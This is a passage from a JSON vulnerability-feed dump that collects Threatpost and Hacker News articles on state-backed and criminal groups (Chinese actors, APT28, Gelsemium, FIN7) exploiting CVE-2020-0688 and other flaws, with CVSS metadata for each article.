Desktop Services (RDP), which is still under active attack a year after disclosure. The bug tracked as CVE-2019-0708 can be exploited by an unauthenticated attacker connecting to the target system using RDP, to send specially crafted requests and execute code. The issue with BlueKeep is that researchers believe it to be wormable, which could lead to a WannaCry-level disaster, they have said.\n\nAnother bug-with-a-name on the list is [Zerologon](<https://threatpost.com/ryuk-ransomware-gang-zerologon-lightning-attack/160286/>), the privilege-escalation vulnerability that allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services. It was patched in August, but many organizations remain vulnerable, and the DHS recently [issued a dire warning](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) on the bug amid a tsunami of attacks.\n\nThe very first bug ever reported to Microsoft by the NSA, CVE-2020-0601, is also being favored by Chinese actors. This spoofing vulnerability, [patched in January,](<https://threatpost.com/microsoft-patches-crypto-bug/151842/>) exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear that the file was from a trusted, legitimate source.\n\nTwo proof-of-concept (PoC) exploits were publicly released just a week after Microsoft\u2019s January Patch Tuesday security bulletin addressed the flaw.\n\nThen there\u2019s a high-profile Microsoft Exchange validation key RCE bug ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)), which stems from the server failing to properly create unique keys at install time.\n\nIt was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed APT actors. But as of Sept. 30, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers [were still vulnerable](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) to the flaw.\n\n## **The Best of the Rest**\n\nThe NSA\u2019s Top 25 list covers plenty of ground, including a [nearly ubiquitous RCE bug](<https://threatpost.com/critical-microsoft-rce-bugs-windows/145572/>) (CVE-2019-1040) that, when disclosed last year, affected all versions of Windows. It allows a man-in-the-middle attacker to bypass the NTLM Message Integrity Check protection.\n\nHere\u2019s a list of the other flaws:\n\n * CVE-2018-4939 in certain Adobe ColdFusion versions.\n * CVE-2020-2555 in the Oracle Coherence product in Oracle Fusion Middleware.\n * CVE-2019-3396 in the Widget Connector macro in Atlassian Confluence Server\n * CVE-2019-11580 in Atlassian Crowd or Crowd Data Center\n * CVE-2020-10189 in Zoho ManageEngine Desktop Central\n * CVE-2019-18935 in Progress Telerik UI for ASP.NET AJAX.\n * CVE-2019-0803 in Windows, a privilege-escalation issue in the Win32k component\n * CVE-2020-3118 in the Cisco Discovery Protocol implementation for Cisco IOS XR Software\n * CVE-2020-8515 in DrayTek Vigor devices\n\nThe advisory also covers three older bugs: One in Exim mail transfer (CVE-2018-6789); one in Symantec Messaging Gateway (CVE-2017-6327); and one in the WLS Security component in Oracle WebLogic Server (CVE-2015-4852).\n\n\u201cWe hear loud and clear that it can be hard to prioritize patching and mitigation efforts,\u201d NSA Cybersecurity Director Anne Neuberger said in a media statement. \u201cWe hope that by highlighting the vulnerabilities that China is actively using to compromise systems, cybersecurity professionals will gain actionable information to prioritize efforts and secure their systems.\u201d\n", "cvss3": {}, "published": "2020-10-21T20:31:17", "type": "threatpost", "title": "Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2015-4852", "CVE-2017-6327", "CVE-2018-4939", "CVE-2018-6789", "CVE-2019-0708", "CVE-2019-0803", "CVE-2019-1040", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-3396", "CVE-2020-0601", "CVE-2020-0688", "CVE-2020-10189", "CVE-2020-2555", "CVE-2020-3118", "CVE-2020-5902", "CVE-2020-8193", "CVE-2020-8195", "CVE-2020-8196", "CVE-2020-8515"], "modified": "2020-10-21T20:31:17", "id": "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "href": "https://threatpost.com/bug-nsa-china-backed-cyberattacks/160421/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2022-05-09T12:39:23", "description": "[![](https://thehackernews.com/images/--04MOd8YdVg/YN6wbhVl-jI/AAAAAAAADD0/1Sag5ybubFo60Vyq--khtAQnmmKIjcy5ACLcBGAsYHQ/s0/russian-hacking.jpg)](<https://thehackernews.com/images/--04MOd8YdVg/YN6wbhVl-jI/AAAAAAAADD0/1Sag5ybubFo60Vyq--khtAQnmmKIjcy5ACLcBGAsYHQ/s0/russian-hacking.jpg>)\n\nAn ongoing brute-force attack campaign targeting enterprise cloud environments has been spearheaded by the Russian military intelligence since mid-2019, according to a joint advisory published by intelligence agencies in the U.K. and U.S.\n\nThe National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and the U.K.'s National Cyber Security Centre (NCSC) formally attributed the incursions to the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).\n\nThe [threat actor](<https://malpedia.caad.fkie.fraunhofer.de/actor/sofacy>) is also tracked under various monikers, including [APT28](<https://www.fireeye.com/current-threats/apt-groups/rpt-apt28.html>) (FireEye Mandiant), [Fancy Bear](<https://www.crowdstrike.com/blog/who-is-fancy-bear/>) (CrowdStrike), [Sofacy](<https://www.kaspersky.com/about/press-releases/2018_sofacy>) (Kaspersky), [STRONTIUM](<https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/>) (Microsoft), and [Iron Twilight](<https://www.secureworks.com/research/threat-profiles/iron-twilight>) (Secureworks).\n\nAPT28 has a track record of leveraging password spray and brute-force login attempts to plunder valid credentials that enable future surveillance or intrusion operations. In November 2020, Microsoft [disclosed](<https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/>) credential harvesting activities staged by the adversary aimed at companies involved in researching vaccines and treatments for COVID-19.\n\nWhat's different this time around is the actor's reliance on software containers to scale its brute-force attacks.\n\n\"The campaign uses a Kubernetes cluster in brute force access attempts against the enterprise and cloud environments of government and private sector targets worldwide,\" CISA [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/01/nsa-cisa-ncsc-fbi-joint-cybersecurity-advisory-russian-gru-brute>). \"After obtaining credentials via brute force, the GTsSS uses a variety of known vulnerabilities for further network access via remote code execution and lateral movement.\"\n\nSome of the other security flaws exploited by APT28 to pivot inside the breached organizations and gain access to internal email servers include -\n\n * [**CVE-2020-0688**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0688>) \\- Microsoft Exchange Validation Key Remote Code Execution Vulnerability\n * [**CVE-2020-17144**](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>) \\- Microsoft Exchange Remote Code Execution Vulnerability\n\nThe threat actor is also said to have utilized different evasion techniques in an attempt to disguise some components of their operations, including routing brute-force authentication attempts through Tor and commercial VPN services, such as CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark, and WorldVPN.\n\nThe agencies said the attacks primarily focused on the U.S. and Europe, targeting government and military, defense contractors, energy companies, higher education, logistics companies, law firms, media companies, political consultants or political parties, and think tanks.\n\n\"Network managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability,\" the advisory [noted](<https://www.nsa.gov/news-features/press-room/Article/2677750/nsa-partners-release-cybersecurity-advisory-on-brute-force-global-cyber-campaign/>). \"Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-02T06:23:00", "type": "thn", "title": "NSA, FBI Reveal Hacking Methods Used by Russian Military Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-03T14:44:51", "id": "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "href": "https://thehackernews.com/2021/07/nsa-fbi-reveal-hacking-methods-used-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:33", "description": "[![Russian Hackers](https://thehackernews.com/new-images/img/a/AVvXsEgfHxH3Dt4VXRfmdH7Z5AIzdTH11h4caDd4ap4XoxMEluunQIHIKcMfsOmGXHYfBm80iV7yauBv6comuqDI53yYZ-scRdempbDZFRKoVre0dwv8XB-HY7OuqI3zugrjX_AU4O94F-ikvT5ttBGEc9cGB3wRTB1Tkpo2jFZZ5dobK0ftUAK2GlxVr_sa=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgfHxH3Dt4VXRfmdH7Z5AIzdTH11h4caDd4ap4XoxMEluunQIHIKcMfsOmGXHYfBm80iV7yauBv6comuqDI53yYZ-scRdempbDZFRKoVre0dwv8XB-HY7OuqI3zugrjX_AU4O94F-ikvT5ttBGEc9cGB3wRTB1Tkpo2jFZZ5dobK0ftUAK2GlxVr_sa>)\n\nState-sponsored actors backed by the Russian government regularly targeted the networks of several U.S. cleared defense contractors (CDCs) to acquire proprietary documents and other confidential information pertaining to the country's defense and intelligence programs and capabilities.\n\nThe sustained espionage campaign is said to have commenced at least two years ago from January 2020, according to a [joint advisory](<https://www.cisa.gov/news/2022/02/16/new-cybersecurity-advisory-protecting-cleared-defense-contractor-networks-against>) published by the U.S. Federal Bureau of Investigation (FBI), National Security Agency (NSA), and Cybersecurity and Infrastructure Security Agency (CISA).\n\n\"These continued intrusions have enabled the actors to acquire sensitive, unclassified information, as well as CDC-proprietary and export-controlled technology,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/alerts/aa22-047a>). \"The acquired information provides significant insight into U.S. weapons platforms development and deployment timelines, vehicle specifications, and plans for communications infrastructure and information technology.\"\n\nCompromised entities include contractors that dabble in command, control, communications, and combat systems; surveillance and reconnaissance; weapons and missile development; vehicle and aircraft design; and software development, data analytics, and logistics.\n\nThe threat actors rely on \"common but effective\" tactics to breach target networks such as spear-phishing, credential harvesting, brute-force attacks, password spray techniques, and exploitation of known vulnerabilities in VPN devices, before moving laterally to establish persistence and exfiltrate data.\n\n[![](https://thehackernews.com/new-images/img/a/AVvXsEj72CV_TZddW8ZEFbbWJoksQeXFXLFFSgoy22sgxewm7OT-W5YDgBIqLdOhdUK4p3Z5AV32z7EtFYvCInbCCdVzX37Wzqx1TL_G6NeQuEKUOLVC6371dcORdcP2owx3pnjKJyUaGJCQ56o-mLZcUzXswT3hUvEKbXxZBzEmEt8nYAClgNN9xU4V4anK)](<https://thehackernews.com/new-images/img/a/AVvXsEj72CV_TZddW8ZEFbbWJoksQeXFXLFFSgoy22sgxewm7OT-W5YDgBIqLdOhdUK4p3Z5AV32z7EtFYvCInbCCdVzX37Wzqx1TL_G6NeQuEKUOLVC6371dcORdcP2owx3pnjKJyUaGJCQ56o-mLZcUzXswT3hUvEKbXxZBzEmEt8nYAClgNN9xU4V4anK>)\n\nSome of the [vulnerabilities](<https://thehackernews.com/2021/11/us-uk-and-australia-warn-of-iranian.html>) leveraged by the attackers for initial access and privilege escalation are as follows \u2013\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) \u2013 FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests\n * [**CVE-2020-0688**](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (CVSS score: 8.8) \u2013 Microsoft Exchange validation key remote code execution vulnerability\n * [**CVE-2020-17144**](<https://nvd.nist.gov/vuln/detail/CVE-2020-17144>) (CVSS score: 8.4) \u2013 Microsoft Exchange remote code execution vulnerability\n\nMany of the intrusions also involve gaining a foothold to enterprise and cloud networks, with the adversaries maintaining persistent access to the compromised Microsoft 365 environments for as long as six months to repeatedly harvest emails and data.\n\n\"As CDCs find and patch known vulnerabilities on their networks, the actors alter their tradecraft to seek new means of access,\" the agencies explained. \"This activity necessitates CDCs maintain constant vigilance for software vulnerabilities and out-of-date security configurations, especially in internet-facing systems.\"\n\nAmong other malicious activities observed is the routine use of virtual private servers (VPSs) as an encrypted proxy and the use of legitimate credentials to exfiltrate emails from the victim's enterprise email system. The advisory, however, does not single out any Russian state actor by name.\n\n\"Over the last several years, Russian state-sponsored cyber actors have been persistent in targeting U.S. cleared defense contractors to get at sensitive information,\" [said](<https://www.nsa.gov/Press-Room/News-Highlights/Article/Article/2935170/nsa-fbi-cisa-release-advisory-on-protecting-cleared-defense-contractor-networks/>) Rob Joyce, director of NSA Cybersecurity. \"Armed with insights like these, we can better detect and defend important assets together.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-17T05:42:00", "type": "thn", "title": "U.S. Says Russian Hackers Stealing Sensitive Data from Defense Contractors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2020-0688", "CVE-2020-17144"], "modified": "2022-02-17T13:01:50", "id": "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "href": "https://thehackernews.com/2022/02/us-says-russian-hackers-stealing.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:57", "description": "[![supply chain cyber attacks](https://thehackernews.com/images/-2P9JF1_9yIc/YMdax55TYnI/AAAAAAAAC2o/YR05yeE9O-8JHf9oekreAzoMGSYXbsdlwCLcBGAsYHQ/s728-e1000/suppply-chain-cyberattack.jpg)](<https://thehackernews.com/images/-2P9JF1_9yIc/YMdax55TYnI/AAAAAAAAC2o/YR05yeE9O-8JHf9oekreAzoMGSYXbsdlwCLcBGAsYHQ/s0/suppply-chain-cyberattack.jpg>)\n\nA new cyber espionage group named Gelsemium has been linked to a [supply chain attack targeting the NoxPlayer](<https://thehackernews.com/2021/02/a-new-software-supplychain-attack.html>) Android emulator that was disclosed earlier this year.\n\nThe findings come from a systematic analysis of multiple campaigns undertaken by the APT crew, with evidence of the earliest attack dating back all the way to 2014 under the codename [Operation TooHash](<https://public.gdatasoftware.com/Presse/Publikationen/Whitepaper/EN/GDATA_TooHash_CaseStudy_102014_EN_v1.pdf>) based on malware payloads deployed in those intrusions.\n\n\"Victims of these campaigns are located in East Asia as well as the Middle East and include governments, religious organizations, electronics manufacturers and universities,\" cybersecurity firm ESET [said](<https://www.welivesecurity.com/2021/06/09/gelsemium-when-threat-actors-go-gardening/>) in an analysis published last week.\n\n\"Gelsemium's whole chain might appear simple at first sight, but the exhaustive configurations, implanted at each stage, modify on-the-fly settings for the final payload, making it harder to understand.\"\n\nTargeted countries include China, Mongolia, North and South Korea, Japan, Turkey, Iran, Iraq, Saudi Arabia, Syria, and Egypt.\n\nSince its origins in the mid-2010s, Gelsemium has been found employing a variety of malware delivery techniques ranging from spear-phishing documents exploiting Microsoft Office vulnerabilities ([CVE-2012-0158](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158>)) and watering holes to a remote code execution flaw in Microsoft Exchange Server \u2014 likely [CVE-2020-0688](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0688>), which was addressed by the Windows maker in [June 2020](<https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/>) \u2014 to deploy the [China Chopper](<https://attack.mitre.org/software/S0020/>) web shell.\n\n[![supply chain cyber attacks](https://thehackernews.com/images/-erpEkE7yQsA/YMdYTWXAq3I/AAAAAAAAC2g/aFWtWeFaNBkcFx5QqUn08XgGEREESzmBQCLcBGAsYHQ/s728-e1000/malware.jpg)](<https://thehackernews.com/images/-erpEkE7yQsA/YMdYTWXAq3I/AAAAAAAAC2g/aFWtWeFaNBkcFx5QqUn08XgGEREESzmBQCLcBGAsYHQ/s0/malware.jpg>)\n\nAccording to ESET, Gelsemium's first stage is a C++ dropper named \"Gelsemine,\" which deploys a loader \"Gelsenicine\" onto the target system, which, in turn, retrieves and executes the main malware \"**Gelsevirine**\" that's capable of loading additional plug-ins provided by the command-and-control (C2) server.\n\nThe adversary is said to have been behind a supply chain attack aimed at BigNox's NoxPlayer, in a campaign dubbed \"**Operation NightScout**,\" in which the software's update mechanism was compromised to install backdoors such as **Gh0st RAT** and **PoisonIvy RAT** to spy on its victims, capture keystrokes, and gather valuable information.\n\n\"Victims originally compromised by that supply chain attack were later being compromised by Gelsemine,\" ESET researchers Thomas Dupuy and Matthieu Faou noted, with similarities observed between the trojanized versions of NoxPlayer and Gelsemium malware.\n\nWhat's more, another backdoor called **Chrommme**, which was detected on an unnamed organization's machine also compromised by the Gelsemium group, used the same C2 server as that of Gelsevirine, raising the possibility that the threat actor may be sharing the attack infrastructure across its malware toolset.\n\n\"The Gelsemium biome is very interesting: it shows few victims (according to our telemetry) with a vast number of adaptable components,\" the researchers concluded. \"The plug-in system shows that developers have deep C++ knowledge.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-06-14T13:34:00", "type": "thn", "title": "NoxPlayer Supply-Chain Attack is Likely the Work of Gelsemium Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0158", "CVE-2020-0688"], "modified": "2021-06-14T13:34:33", "id": "THN:9B536B531E6948881A29BEC793495D1E", "href": "https://thehackernews.com/2021/06/noxplayer-supply-chain-attack-is-likely.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-26T12:10:08", "description": "[![Ransomware Hackers](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgu9YKd02vdFX9q7nH_mj_COAplqIClED8G3-bIqGZfD9uEAVx2YkW4pnR4oTHEKnrj9qtpM11W6mYLnGXvGxEt9IFdVd2PCh0jnop8BOe_IT_acIv-VKs3Q-JjeXkZPvJplINEolBZljwID-Ev26al_uOtbkyFHFd7atp9dyswl66CcZIVuWykjyr6wg/s728-rj-e365/cyber.png>)\n\nAn exhaustive analysis of **FIN7** has unmasked the cybercrime syndicate's organizational hierarchy, alongside unraveling its role as an affiliate for mounting ransomware attacks.\n\nIt has also exposed deeper associations between the group and the larger threat ecosystem comprising the now-defunct ransomware [DarkSide](<https://thehackernews.com/2022/05/us-proposes-1-million-fine-on-colonial.html>), [REvil](<https://thehackernews.com/2022/05/new-revil-samples-indicate-ransomware.html>), and [LockBit](<https://thehackernews.com/2022/11/amadey-bot-spotted-deploying-lockbit-30.html>) families.\n\nThe highly active threat group, also known as Carbanak, is [known](<https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html>) for employing an extensive arsenal of tools and tactics to expand its \"cybercrime horizons,\" including adding ransomware to its playbook and setting up fake security companies to lure researchers into conducting ransomware attacks under the guise of penetration testing.\n\nMore than 8,147 victims have been compromised by the financially motivated adversary across the world, with a majority of the entities located in the U.S. Other prominent countries include China, Germany, Canada, Italy, and the U.K.\n\nFIN7's intrusion techniques, over the years, have further diversified beyond traditional social engineering to include infected USB drives, software supply chain compromise, and the use of stolen credentials purchased from underground markets.\n\n\"Nowadays, its initial approach is to carefully pick high-value companies from the pool of already compromised enterprise systems and force them to pay large ransoms to restore their data or seek unique ways to monetize the data and remote access,\" PRODAFT [said](<https://www.prodaft.com/resource/detail/fin7-unveiled-deep-dive-notorious-cybercrime-gang>) in a report shared with The Hacker News.\n\nAccording to the Swiss cybersecurity company, the Russian-speaking hacking crew has also been observed to weaponize several flaws in Microsoft Exchange such as [CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>), [CVE-2021-42321](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>), [ProxyLogon, and ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) to obtain a foothold into target environments.\n\n[![FIN7 Cybercrime Syndicate](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhXWJSj-lP5zgkimydTc-CwuBckZJpMoZ8KlEOqjTK1s14n8Ry6x7NcJHE6iuaC2p2llH7aphAnF9AGSkY-IMY3ofTAKq1rATS5XB5z-Fnxh6v2Lr3_wmyfCwBsAALRjmoyzwRDHWnMfGyS3UC_ftVWp1CnJeC09vF4HmeUbM2J0Y7BwIeouLTThKTe/s728-rj-e365/fin7.png>)\n\nThe use of [double extortion tactics](<https://thehackernews.com/2022/12/cuba-ransomware-extorted-over-60.html>) notwithstanding, attacks mounted by the group have deployed SSH backdoors on the compromised systems, even in scenarios where the victim has already paid a ransom.\n\nThe idea is to resell access to other ransomware outfits and re-target the victims as part of its illicit money-making scheme, underscoring its attempts to minimize efforts and maximize profits, not to mention prioritize companies based on their annual revenues, founded dates, and the number of employees.\n\nThis \"demonstrates a particular type of feasibility study considered a unique behavior among cybercrime groups,\" the researchers said.\n\n[![FIN7 Cybercrime Syndicate](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1L6lSPfanTW7NwX9INlkaghoZj0MyjyyCHu7VJ2WOAB0-a8ipVazPaPiLkSPVkIBBeBrgcnwVzrKGh7hIH0N52sNHSgp7Vbg9K4Rqm_6NIALFtTqkkLtv6AkE8lDtTL7ZEb5WVXABPi3XMY0clFfTSBtJq_7t66O_imTe8dVlT7-vL0MHcB3e1LBL/s728-rj-e365/data.png>)\n\nPut differently, the modus operandi of FIN7 boils down to this: It utilizes services like Crunchbase, Dun & Bradstreet (DNB), Owler, and Zoominfo to shortlist firms and organizations with the highest revenue. It also uses other website analytics platforms like MuStat and Similarweb to monitor traffic to the victims' sites.\n\nInitial access is then obtained through one of the many intrusion vectors, followed by exfiltrating data, encrypting files, and eventually determining the ransom amount based on the company's revenue.\n\n[![FIN7 Cybercrime Syndicate](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhQwT6VXETxCd7gYcc7Yd03MnZ7nA_L948mXUJkAgn4SOwbIKEi30eZGf2YXgDN1QA6ak7etSe1368r_b5rgcDyV09jIQcKz5GDMmpp_UKs4886x6Kuq9llZuCFuz8reUq22aBAZ38FrxOOFeTSJLmECsaMukFx9rTLqxuCz3Zl5ijc2Cr1ucglgif1/s728-rj-e365/map.png>)\n\nThese infection sequences are also designed to load remote access trojans such as [Carbanak](<https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html>), [Lizar](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>) (aka Tirion), and [IceBot](<https://www.recordedfuture.com/fin7-flash-drives-spread-remote-access-trojan>), the latter of which was first documented by Recorded Future-owned Gemini Advisory in January 2022.\n\nOther tools developed and delivered by FIN7 encompass a module dubbed Checkmarks that's orchestrated to automate mass scans for vulnerable Microsoft Exchange servers and other public-facing web applications as well as [Cobalt Strike](<https://thehackernews.com/2022/11/google-identifies-34-cracked-versions.html>) for post-exploitation.\n\nIn yet another indication that criminal groups [function like traditional companies](<https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html>), FIN7 follows a team structure consisting of top-level management, developers, pentesters, affiliates, and marketing teams, each of whom are tasked with individual responsibilities.\n\nWhile two members named Alex and Rash are the chief players behind the operation, a third managerial member named Sergey-Oleg is responsible for delegating duties to the group's other associates and overseeing their execution.\n\nHowever, an examination of the group's Jabber conversation history has revealed that operators in administrator positions engage in coercion and blackmail to intimidate team members into working more and issue ultimatums to \"hurt their family members in case of resigning or escaping from responsibilities.\"\n\nThe findings come more than a month after cybersecurity company SentinelOne [identified](<https://thehackernews.com/2022/11/researchers-find-links-bw-black-basta.html>) potential links between FIN7 and the Black Basta ransomware operation.\n\n\"FIN7 has established itself as an extraordinarily versatile and well-known APT group that targets enterprise companies,\" PRODAFT concluded. \"Their signature move is to thoroughly research the companies based on their revenue, employee count, headquarters and website information to pinpoint the most profitable targets.\"\n\n\"Although they have internal issues related to the unequal distribution of obtained monetary resources and somewhat questionable practices towards their members, they have managed to establish a strong presence in the cybercrime sphere.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-22T13:13:00", "type": "thn", "title": "FIN7 Cybercrime Syndicate Emerges as a Major Player in Ransomware Landscape", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2021-42321"], "modified": "2022-12-26T11:59:04", "id": "THN:CE51F3F4A94EFC268FD06200BF55BECD", "href": 